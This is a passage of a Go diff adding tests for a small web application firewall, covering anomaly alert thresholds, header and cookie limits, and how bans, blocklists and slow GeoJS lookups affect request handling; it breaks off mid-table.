+	s := &sender{t: t, addr: addr, serveWAFAddr: server.Addr, out: out}
+
+	return s, clk, server, queue
+}
+
+// banAlert returns the alert for event, raised by a request from client at
+// the time raised, for ban, with its netblock, cause, reason and notes,
+// which ends at expires, as the log line gives it.
+func banAlert(
+	event string, raised time.Time, client string, ban bans.Ban, expires string,
+) alerts.Alert {
+	return alerts.Alert{
+		Instance: alertInstance,
+		Time:     raised,
+		Event:    event,
+		Host:     appHost,
+		Client:   netip.MustParseAddr(client),
+		Netblock: ban.Netblock,
+		Reason:   ban.Reason,
+		Detail: map[string]any{
+			"cause": ban.Cause, "ban_expires": expires, "notes": ban.Notes,
+		},
+	}
+}
+
+// attackAlert is banAlert for a ban for the probe rule of testRules, with
+// the netblock and the notes of ban.
+func attackAlert(
+	event string, raised time.Time, client string, ban bans.Ban, expires string,
+) alerts.Alert {
+	return banAlert(event, raised, client, bans.Ban{
+		Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
+		Notes: ban.Notes,
+	}, expires)
+}
+
+// wantAlerts checks the alerts waiting in queue, in order.
+func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
+	t.Helper()
+
+	got := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(got) != len(want) {
+		t.Fatalf("%d alerts wait, want %d: %+v", len(got), len(want), got)
+	}
+
+	for i := range want {
+		if !reflect.DeepEqual(got[i], want[i]) {
+			t.Errorf("alert %d is\n%+v\nwant\n%+v", i, got[i], want[i])
+		}
+	}
+}

internal/servewaf/anomaly_internal_test.go

@@ -0,0 +1,32 @@
+package servewaf
+
+import (
+	"net/netip"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/config"
+)
+
+func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
+	t.Parallel()
+
+	// A request from a client looked up through GeoJS, with every anomaly
+	// threshold off. Its handler has neither GeoJS's answers nor the
+	// anomaly counters, nor a clock, and the request no response: reading
+	// any of them to count the request panics.
+	rq := &request{
+		decision: decision{
+			client:   netip.MustParseAddr("203.0.113.9"),
+			lookedUp: true,
+		},
+		h: &handler{config: &config.Config{LookupSource: "geojs"}},
+	}
+
+	defer func() {
+		if r := recover(); r != nil {
+			t.Errorf("counting the request did work, with every threshold off: %v", r)
+		}
+	}()
+
+	rq.countAnomalies()
+}

internal/servewaf/anomaly_test.go

@@ -0,0 +1,378 @@
+package servewaf_test
+
+import (
+	"maps"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"slices"
+	"strconv"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/anomaly"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+// The anomaly thresholds: the prefix of a scope followed by the end of a
+// count.
+const (
+	anomalyClient = "SWWAF_ANOMALY_CLIENT_"
+	anomalyNet    = "SWWAF_ANOMALY_NET_"
+	anomalyASN    = "SWWAF_ANOMALY_ASN_"
+	anomalyTotal  = "SWWAF_ANOMALY_TOTAL_"
+	anomalyWatch  = "SWWAF_WATCH_"
+
+	requestsPerMinute = "REQUESTS_PER_MINUTE"
+	requestsPerHour   = "REQUESTS_PER_HOUR"
+	bytesPerMinute    = "BYTES_PER_MINUTE"
+	bytesPerHour      = "BYTES_PER_HOUR"
+)
+
+// The other anomaly settings.
+const (
+	anomalyNetV4Prefix = "SWWAF_ANOMALY_NET_V4_PREFIX"
+	anomalyNetV6Prefix = "SWWAF_ANOMALY_NET_V6_PREFIX"
+	watchNets          = "SWWAF_WATCH_NETS"
+)
+
+const (
+	// clientsNet is the netblock around client at the default length, and
+	// office a named netblock of the same.
+	clientsNet = "203.0.113.0/24"
+	office     = "office=" + clientsNet
+	// aLot is a threshold no test reaches.
+	aLot = "1000"
+	// hour is the window an alert names for a threshold per hour.
+	hour = "hour"
+)
+
+func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
+	t.Parallel()
+
+	for _, scope := range []struct {
+		prefix, scope string
+		// netblock is the alert's, and counted what its reason names. extra
+		// is what its detail gives besides what every anomaly alert's does.
+		netblock netip.Prefix
+		counted  string
+		extra    map[string]any
+	}{
+		{
+			anomalyClient, anomaly.ScopeClient, netip.MustParsePrefix(client + "/32"),
+			"the client " + client + "/32", nil,
+		},
+		{
+			anomalyNet, anomaly.ScopeNet, netip.MustParsePrefix(clientsNet),
+			"the netblock " + clientsNet, nil,
+		},
+		{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
+		{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
+		{
+			anomalyWatch, anomaly.ScopeWatch, netip.MustParsePrefix(clientsNet),
+			"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
+		},
+	} {
+		for _, threshold := range []struct {
+			end, kind, window string
+			// value is the threshold, which the third upload of 100 bytes
+			// takes the count over, to count.
+			value int64
+			count float64
+		}{
+			{requestsPerMinute, ratelimit.KindRequests, minute, 2, 3},
+			{requestsPerHour, ratelimit.KindRequests, hour, 2, 3},
+			{bytesPerMinute, ratelimit.KindBytes, minute, 250, 300},
+			{bytesPerHour, ratelimit.KindBytes, hour, 250, 300},
+		} {
+			setting := scope.prefix + threshold.end
+			value := strconv.FormatInt(threshold.value, 10)
+
+			t.Run(setting, func(t *testing.T) {
+				t.Parallel()
+
+				s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
+					setting: value, watchNets: office,
+				})
+				start := clk.Now()
+
+				// The third upload takes the count over the threshold, and the
+				// fourth, within the cooldown, is held back. Each is passed to
+				// the app.
+				for range 4 {
+					s.uploadFrom(client)
+				}
+
+				detail := map[string]any{
+					"scope": scope.scope, "window": threshold.window, "kind": threshold.kind,
+					"count": threshold.count, "threshold": threshold.value,
+				}
+				maps.Copy(detail, scope.extra)
+
+				wantAlerts(t, queue, alerts.Alert{
+					Instance: alertInstance,
+					Time:     start,
+					Event:    alerts.EventAnomaly,
+					Host:     appHost,
+					Client:   netip.MustParseAddr(client),
+					Netblock: scope.netblock,
+					ASN:      asnDE,
+					ASName:   asNameDE,
+					Country:  "DE",
+					Reason: threshold.kind + " per " + threshold.window + " of " +
+						scope.counted + " over the threshold of " + value,
+					Detail: detail,
+				})
+
+				wantAlertedAgainOnceTheCooldownHasRunOut(t, s, clk, queue)
+
+				if held := server.Ledger.Snapshot(); len(held) != 0 {
+					t.Errorf("the ledger holds %+v, want no ban", held)
+				}
+			})
+		}
+	}
+}
+
+// wantAlertedAgainOnceTheCooldownHasRunOut checks that, once the cooldown
+// has run out after a first alert, which held back one repeat, the next
+// count over the threshold, at the latest three uploads from client on,
+// raises another alert, giving that repeat.
+func wantAlertedAgainOnceTheCooldownHasRunOut(
+	t *testing.T, s *sender, clk *clock, queue *alerts.Queue,
+) {
+	t.Helper()
+
+	clk.advance(15 * time.Minute)
+
+	for range 3 {
+		s.uploadFrom(client)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
+		waiting[1].SuppressedRepeats != 1 {
+		t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
+	}
+}
+
+func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
+	t.Parallel()
+
+	const (
+		allowed = "192.0.2.7"  // in SWWAF_ALLOW_NETS
+		exempt  = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
+		denied  = "192.0.2.20" // in SWWAF_DENY_NETS
+	)
+
+	s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
+		anomalyClient + requestsPerMinute: "2",
+		allowNets:                         allowed,
+		rateLimitExemptNets:               exempt,
+		rateLimitExemptPaths:              "/static/",
+		denyNets:                          denied,
+	})
+
+	// The third request of each takes its client's count over the threshold
+	// of 2.
+	for _, sent := range []struct {
+		from, path string
+		status     int
+		action     string
+	}{
+		{allowed, "/", http.StatusOK, requestlog.ActionForward},
+		{exempt, "/", http.StatusOK, requestlog.ActionForward},
+		{client, "/static/app.js", http.StatusOK, requestlog.ActionForward},
+		{denied, "/", http.StatusForbidden, requestlog.ActionDenied},
+	} {
+		for range 3 {
+			s.request(sent.from, sent.path, sent.status, sent.action)
+		}
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+
+	got := make([]string, 0, len(waiting))
+	for _, alert := range waiting {
+		got = append(got, alert.Client.String())
+	}
+
+	if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
+		t.Errorf("alerts for the clients %v, want %v", got, want)
+	}
+}
+
+func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
+	t.Parallel()
+
+	// With every threshold off, nothing is counted.
+	s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
+
+	for range 5 {
+		s.uploadFrom(client)
+	}
+
+	if counters := server.Anomalies.Snapshot(); len(counters) != 0 {
+		t.Errorf("counters %+v, want none", counters)
+	}
+
+	wantAlerts(t, queue)
+
+	// With one set, its count alone is counted, in its scope alone.
+	s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
+		anomalyNet + requestsPerMinute: aLot, watchNets: office,
+	})
+
+	for range 5 {
+		s.uploadFrom(client)
+	}
+
+	want := []anomaly.Counter{{
+		Scope:    anomaly.ScopeNet,
+		Netblock: netip.MustParsePrefix(clientsNet),
+		Minute:   ratelimit.Buckets{Start: clk.Now(), Current: 5},
+	}}
+	if got := server.Anomalies.Snapshot(); !reflect.DeepEqual(got, want) {
+		t.Errorf("counters\n%+v\nwant\n%+v", got, want)
+	}
+
+	wantAlerts(t, queue)
+}
+
+func TestNetblockAroundAClientIsAsLongAsTheSettingsSay(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// Each client of sent sends one request, and want gives the
+		// netblocks they are counted in, each with its requests.
+		sent []string
+		want map[string]int64
+	}{
+		{
+			"by default", nil,
+			[]string{client, "203.0.113.200", "192.0.2.7", ipv6Client, "2001:db8:0:ffff::1"},
+			map[string]int64{clientsNet: 2, "192.0.2.0/24": 1, "2001:db8::/48": 2},
+		},
+		{
+			"as set", map[string]string{anomalyNetV4Prefix: "16", anomalyNetV6Prefix: "32"},
+			[]string{client, "203.0.200.1", ipv6Client, "2001:db8:ffff::1"},
+			map[string]int64{"203.0.0.0/16": 2, "2001:db8::/32": 2},
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			env := map[string]string{anomalyNet + requestsPerMinute: aLot}
+			maps.Copy(env, tc.env)
+
+			s, _, server, _ := startAppWithAlerts(t, readAndAnswer, env)
+
+			for _, from := range tc.sent {
+				s.get(from, http.StatusOK, requestlog.ActionForward)
+			}
+
+			got := map[string]int64{}
+			for _, counter := range server.Anomalies.Snapshot() {
+				got[counter.Netblock.String()] = counter.Minute.Current
+			}
+
+			if !maps.Equal(got, tc.want) {
+				t.Errorf("requests by netblock %v, want %v", got, tc.want)
+			}
+		})
+	}
+}
+
+func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
+	t.Parallel()
+
+	s, server, _ := startWithLookups(t, map[string]string{
+		anomalyASN + requestsPerMinute: aLot,
+	})
+
+	// The lookup database does not hold unplaced.
+	for _, from := range []string{fromDE, fromDE, fromKP, noCountry, unplaced} {
+		s.uploadFrom(from)
+	}
+
+	got := map[string]int64{}
+	for _, counter := range server.Anomalies.Snapshot() {
+		got[counter.ASN] = counter.Minute.Current
+	}
+
+	if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
+		t.Errorf("requests by AS number %v, want %v", got, want)
+	}
+}
+
+func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
+	t.Parallel()
+
+	// The stand-in for GeoJS answers only once released, which the app
+	// does as it answers the request, and then waits until the answer is
+	// kept.
+	geojsURL, _, release := startHeldGeoJS(t)
+
+	var server atomic.Pointer[servewaf.Server]
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {
+		release()
+		waitUntil(func() bool {
+			_, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
+
+			return kept
+		})
+	})
+	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
+	addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
+		map[string]string{
+			trustedProxies:                 trustLocalhost,
+			lookupTimeout:                  "1h",
+			anomalyASN + requestsPerMinute: aLot,
+		})
+	server.Store(started)
+
+	// The request went on without the answer, and is counted for the AS
+	// number it gives.
+	s := &sender{t: t, addr: addr, out: out}
+	if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
+		t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
+	}
+
+	want := []anomaly.Counter{{
+		Scope: anomaly.ScopeASN, ASN: asnDE,
+		Minute: ratelimit.Buckets{Start: clk.Now(), Current: 1},
+	}}
+	if got := started.Anomalies.Snapshot(); !reflect.DeepEqual(got, want) {
+		t.Errorf("counters\n%+v\nwant\n%+v", got, want)
+	}
+}
+
+func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
+	t.Parallel()
+
+	s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
+		anomalyWatch + requestsPerMinute: aLot,
+		watchNets:                        office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
+	})
+
+	// client is in office and in wide.
+	for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
+		s.get(from, http.StatusOK, requestlog.ActionForward)
+	}
+
+	got := map[string]int64{}
+	for _, counter := range server.Anomalies.Snapshot() {
+		got[counter.Name] = counter.Minute.Current
+	}
+
+	if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
+		t.Errorf("requests by named netblock %v, want %v", got, want)
+	}
+}

internal/servewaf/answertime_test.go

@@ -0,0 +1,566 @@
+package servewaf_test
+
+import (
+	"fmt"
+	"maps"
+	"net"
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"slices"
+	"strconv"
+	"strings"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+const (
+	// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
+	// servewaf has to answer.
+	answerTimeLimit = 2 * time.Second
+	// defaultLookupWait is the default of SWWAF_LOOKUP_TIMEOUT.
+	defaultLookupWait = 800 * time.Millisecond
+	// The header limits SPEC.md gives.
+	cookieLimit      = 50
+	headerFieldLimit = 100
+	// cookieHeader is the header the cookie limit counts.
+	cookieHeader = "Cookie"
+	// tooLarge is how servewaf refuses a request over the header limits.
+	tooLarge = http.StatusRequestHeaderFieldsTooLarge
+	// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
+	// that unansweredGeoJSURL names too.
+	silentAbuseIPDBURL = "unanswered://abuseipdb/api/v2/check"
+	// wholeLimit is the percentage of a rate limit that lowers it not at all.
+	wholeLimit = 100
+	// clientsDecision is the CrowdSec decision list holding client alone.
+	clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
+		`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
+)
+
+// cookies returns a Cookie header's value with count cookies.
+func cookies(count int) string {
+	parts := make([]string, 0, count)
+	for i := range count {
+		parts = append(parts, "c"+strconv.Itoa(i)+"=1")
+	}
+
+	return strings.Join(parts, "; ")
+}
+
+// fillHeaders adds headers to a question until the checks see total header
+// fields: all but ClientHeader and PeerHeader, which servewaf removes. Go's
+// client sends nothing else but Host, which the limit does not count, once
+// User-Agent is set.
+func fillHeaders(req *http.Request, total int) {
+	req.Header.Set("User-Agent", "test")
+
+	for i := len(req.Header) - 2; i < total; i++ {
+		req.Header.Set("X-Filler-"+strconv.Itoa(i), "1")
+	}
+}
+
+func TestSixteenThousandCookiesAreRefusedWellWithinTheTimeLimit(t *testing.T) {
+	t.Parallel()
+
+	s := startServeWAF(t, "", map[string]string{wafMode: block})
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
+
+	began := time.Now()
+	got := do(t, req)
+
+	if took := time.Since(began); took >= answerTimeLimit/2 {
+		t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
+	}
+
+	wantDisposition(t, got, tooLarge, servewaf.DispositionDeny)
+
+	line := s.out.requestLine(t)
+	wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
+
+	if line.DurationWAF != nil {
+		t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationWAF)
+	}
+}
+
+func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
+	t.Parallel()
+
+	repeated := make([]string, headerFieldLimit)
+	for i := range repeated {
+		repeated[i] = "1"
+	}
+
+	for _, tc := range []struct {
+		name string
+		make func(*http.Request)
+		// refused is true for a request over a limit, and false for one at it.
+		refused bool
+	}{
+		{"cookies at the limit", func(req *http.Request) {
+			req.Header.Set(cookieHeader, cookies(cookieLimit))
+		}, false},
+		{"cookies over the limit", func(req *http.Request) {
+			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+		}, true},
+		{"parts empty or only spaces and tabs are no cookies", func(req *http.Request) {
+			req.Header.Set(cookieHeader, cookies(cookieLimit)+"; \t;;")
+		}, false},
+		{"parts of no-break spaces count", func(req *http.Request) {
+			req.Header.Set(cookieHeader, strings.Repeat(" ;", cookieLimit+1))
+		}, true},
+		{"cookies over the limit across two headers", func(req *http.Request) {
+			req.Header[cookieHeader] = []string{cookies(cookieLimit), "last=1"}
+		}, true},
+		{"cookies without a value count", func(req *http.Request) {
+			req.Header.Set(cookieHeader, strings.Repeat("a;", cookieLimit+1))
+		}, true},
+		{"header fields at the limit", func(req *http.Request) {
+			fillHeaders(req, headerFieldLimit)
+		}, false},
+		{"header fields over the limit", func(req *http.Request) {
+			fillHeaders(req, headerFieldLimit+1)
+		}, true},
+		{"a header sent many times counts each time", func(req *http.Request) {
+			req.Header["X-Filler"] = repeated
+		}, true},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s := startServeWAF(t, "", map[string]string{wafMode: block})
+			req := s.question(siteA, client, "/")
+			tc.make(req)
+
+			got := do(t, req)
+			line := s.out.requestLine(t)
+
+			if tc.refused {
+				wantDisposition(t, got, tooLarge, servewaf.DispositionDeny)
+				wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
+
+				return
+			}
+
+			wantDisposition(t, got, http.StatusOK, servewaf.DispositionAllow)
+			wantLine(t, line, http.StatusOK, requestlog.ActionForward)
+
+			if line.DurationWAF == nil {
+				t.Error("the Core Rule Set did not read a request within the limits")
+			}
+		})
+	}
+}
+
+func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
+	t.Parallel()
+
+	for _, env := range []map[string]string{
+		{wafMode: off},
+		{wafMode: "detect"},
+		{wafMode: block, "SWWAF_WAF_EXEMPT_PATHS": "/"},
+	} {
+		t.Run(fmt.Sprint(env), func(t *testing.T) {
+			t.Parallel()
+
+			s := startServeWAF(t, "", env)
+			req := s.question(siteA, client, "/")
+			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+			wantDisposition(t, do(t, req), tooLarge, servewaf.DispositionDeny)
+		})
+	}
+}
+
+func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
+	t.Parallel()
+
+	s := startServeWAF(t, "", map[string]string{wafMode: block, allowNets: client})
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+	wantDisposition(t, do(t, req), http.StatusOK, servewaf.DispositionAllow)
+}
+
+func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
+	t.Parallel()
+
+	s := startServeWAF(t, "", map[string]string{mode: observe, wafMode: block})
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
+
+	began := time.Now()
+	got := do(t, req)
+
+	if took := time.Since(began); took >= answerTimeLimit/2 {
+		t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
+	}
+
+	wantDisposition(t, got, http.StatusOK, servewaf.DispositionAllow)
+
+	line := s.out.requestLine(t)
+	if line.WouldAction != requestlog.ActionTooLarge || line.DurationWAF != nil {
+		t.Errorf("would_action %q and duration_waf %v, want %q and none",
+			line.WouldAction, line.DurationWAF, requestlog.ActionTooLarge)
+	}
+}
+
+func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
+	t.Parallel()
+
+	s := startServeWAF(t, "", map[string]string{rateLimitPerMinute: "1"})
+	ask := func() answer {
+		req := s.question(siteA, client, "/")
+		req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+		return do(t, req)
+	}
+
+	wantDisposition(t, ask(), tooLarge, servewaf.DispositionDeny)
+	wantDisposition(t, ask(), http.StatusForbidden, servewaf.DispositionDeny)
+
+	lines := s.out.requestLines(t, 2)
+	wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionRateLimited)
+}
+
+func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name, path, action string
+	}{
+		{"a trap path", "/wp-login.php", requestlog.ActionBanned},
+		{"a block rule", "/blocked", requestlog.ActionRuleBlocked},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s := startServeWAF(t, "", map[string]string{
+				trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
+			})
+			req := s.question(siteA, client, tc.path)
+			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+			wantDisposition(t, do(t, req), http.StatusForbidden, servewaf.DispositionDeny)
+			wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
+		})
+	}
+}
+
+func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s := startServeWAF(t, geojsURL, map[string]string{
+		unknownLimitPercent: "0", lookupTimeout: "1h",
+	})
+	req := s.question(siteA, fromDE, "/")
+	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+	wantDisposition(t, do(t, req), tooLarge, servewaf.DispositionDeny)
+
+	line := s.out.requestLine(t)
+	wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
+
+	if line.LimitPercent != nil {
+		t.Errorf("limit percentage %d, want none", *line.LimitPercent)
+	}
+
+	// The client is under no ban, and GeoJS places it in a country.
+	wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, servewaf.DispositionAllow)
+}
+
+func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s := startServeWAF(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
+	s.server.GeoJS.Load([]lookup.Answer{{
+		Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
+		Answered: s.clock.Now(), Used: s.clock.Now(),
+	}})
+
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+	wantDisposition(t, do(t, req), http.StatusForbidden, servewaf.DispositionDeny)
+	wantLine(t, s.out.requestLine(t), http.StatusForbidden, requestlog.ActionRateLimited)
+}
+
+func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s := startServeWAF(t, geojsURL, map[string]string{
+		mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
+	})
+	req := s.question(siteA, fromDE, "/")
+	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+	got := do(t, req)
+	wantDisposition(t, got, http.StatusOK, servewaf.DispositionAllow)
+
+	asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
+	if asn != asnDE || country != "DE" {
+		t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
+			asn, country, asnDE)
+	}
+}
+
+// newServeWAFInBubble makes a servewaf for a synctest bubble: GeoJS never
+// answers, a setting needs its answer, and everything is at its default but
+// for env. No request to it may use the network.
+func newServeWAFInBubble(
+	t *testing.T, env map[string]string,
+) (*servewaf.Server, *output) {
+	t.Helper()
+
+	settings := map[string]string{deniedCountries: "KP"}
+	maps.Copy(settings, env)
+
+	server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now, settings)
+
+	return server, out
+}
+
+// askDirectly hands a question about a request from client straight to server,
+// as change leaves it, and returns the answer's status and how long it took.
+func askDirectly(
+	t *testing.T, server *servewaf.Server, change func(*http.Request),
+) (int, time.Duration) {
+	t.Helper()
+
+	req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
+	req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
+	req.Header.Set(servewaf.ClientHeader, client)
+	req.Header.Set(requestIDHeader, "the-id")
+	change(req)
+
+	recorder := httptest.NewRecorder()
+	began := time.Now()
+
+	server.Handler.ServeHTTP(recorder, req)
+
+	return recorder.Code, time.Since(began)
+}
+
+// banClient bans client at now.
+func banClient(_ *testing.T, server *servewaf.Server, now time.Time) {
+	server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
+}
+
+// countClient counts one request from client at now for the rate limits.
+func countClient(_ *testing.T, server *servewaf.Server, now time.Time) {
+	server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
+}
+
+// listClient puts client on the blocklist at dropURL.
+func listClient(t *testing.T, server *servewaf.Server, now time.Time) {
+	t.Helper()
+
+	err := server.Lists.Load([]reputation.List{{
+		URL: dropURL, Tried: now, Fetched: now, Lines: []string{client},
+	}})
+	if err != nil {
+		t.Fatalf("load the blocklist: %v", err)
+	}
+}
+
+// decideOnClient puts client on the CrowdSec decision list.
+func decideOnClient(t *testing.T, server *servewaf.Server, now time.Time) {
+	t.Helper()
+	loadDecisions(t, server, now, clientsDecision)
+}
+
+// leaveAsItIs prepares nothing.
+func leaveAsItIs(*testing.T, *servewaf.Server, time.Time) {}
+
+func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
+	t.Parallel()
+
+	const forbidden = http.StatusForbidden
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// prepare gets the server ready, at now, before the question.
+		prepare func(t *testing.T, server *servewaf.Server, now time.Time)
+		// cookie is the request's Cookie header.
+		cookie string
+		status int
+		action string
+	}{
+		{
+			name: "SWWAF_DENY_NETS", env: map[string]string{denyNets: client},
+			prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionDenied,
+		},
+		{
+			name:    "a ban",
+			prepare: banClient, status: forbidden, action: requestlog.ActionBanned,
+		},
+		{
+			name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
+			prepare: countClient, status: forbidden, action: requestlog.ActionRateLimited,
+		},
+		{
+			name:    "the rate limits, with a biased threshold",
+			env:     map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
+			prepare: countClient, status: forbidden, action: requestlog.ActionRateLimited,
+		},
+		{
+			name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
+			prepare: listClient, status: forbidden, action: requestlog.ActionDenied,
+		},
+		{
+			name:    "the CrowdSec decision list",
+			env:     map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
+			prepare: decideOnClient, status: forbidden, action: requestlog.ActionBanned,
+		},
+		{
+			name: "the header limits", cookie: cookies(cookieLimit + 1),
+			prepare: leaveAsItIs, status: tooLarge, action: requestlog.ActionTooLarge,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
+			// says, so that a request that does not wait takes no time at all.
+			synctest.Test(t, func(t *testing.T) {
+				server, out := newServeWAFInBubble(t, tc.env)
+				tc.prepare(t, server, time.Now())
+
+				status, took := askDirectly(t, server, func(req *http.Request) {
+					req.Header.Set(cookieHeader, tc.cookie)
+				})
+
+				if status != tc.status || took != 0 {
+					t.Errorf("answered %d after %s, want %d at once; output:\n%s",
+						status, took, tc.status, out.text())
+				}
+
+				wantLine(t, out.requestLine(t), tc.status, tc.action)
+
+				// GeoJS's request is abandoned before the bubble ends.
+				time.Sleep(defaultLookupWait)
+			})
+		})
+	}
+}
+
+func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// prepare gets the server ready, at now, before the question.
+		prepare func(t *testing.T, server *servewaf.Server, now time.Time)
+		status  int
+		action  string
+	}{
+		{"nothing refuses it", nil, leaveAsItIs, http.StatusOK, requestlog.ActionForward},
+		{
+			"a country list needs the answer", map[string]string{allowedCountries: "DE"},
+			leaveAsItIs, http.StatusForbidden, requestlog.ActionCountryDenied,
+		},
+		{
+			"a blocklist that only logs",
+			map[string]string{blocklistURLs: dropURL, blocklistAction: actionLog},
+			listClient, http.StatusOK, requestlog.ActionForward,
+		},
+		{
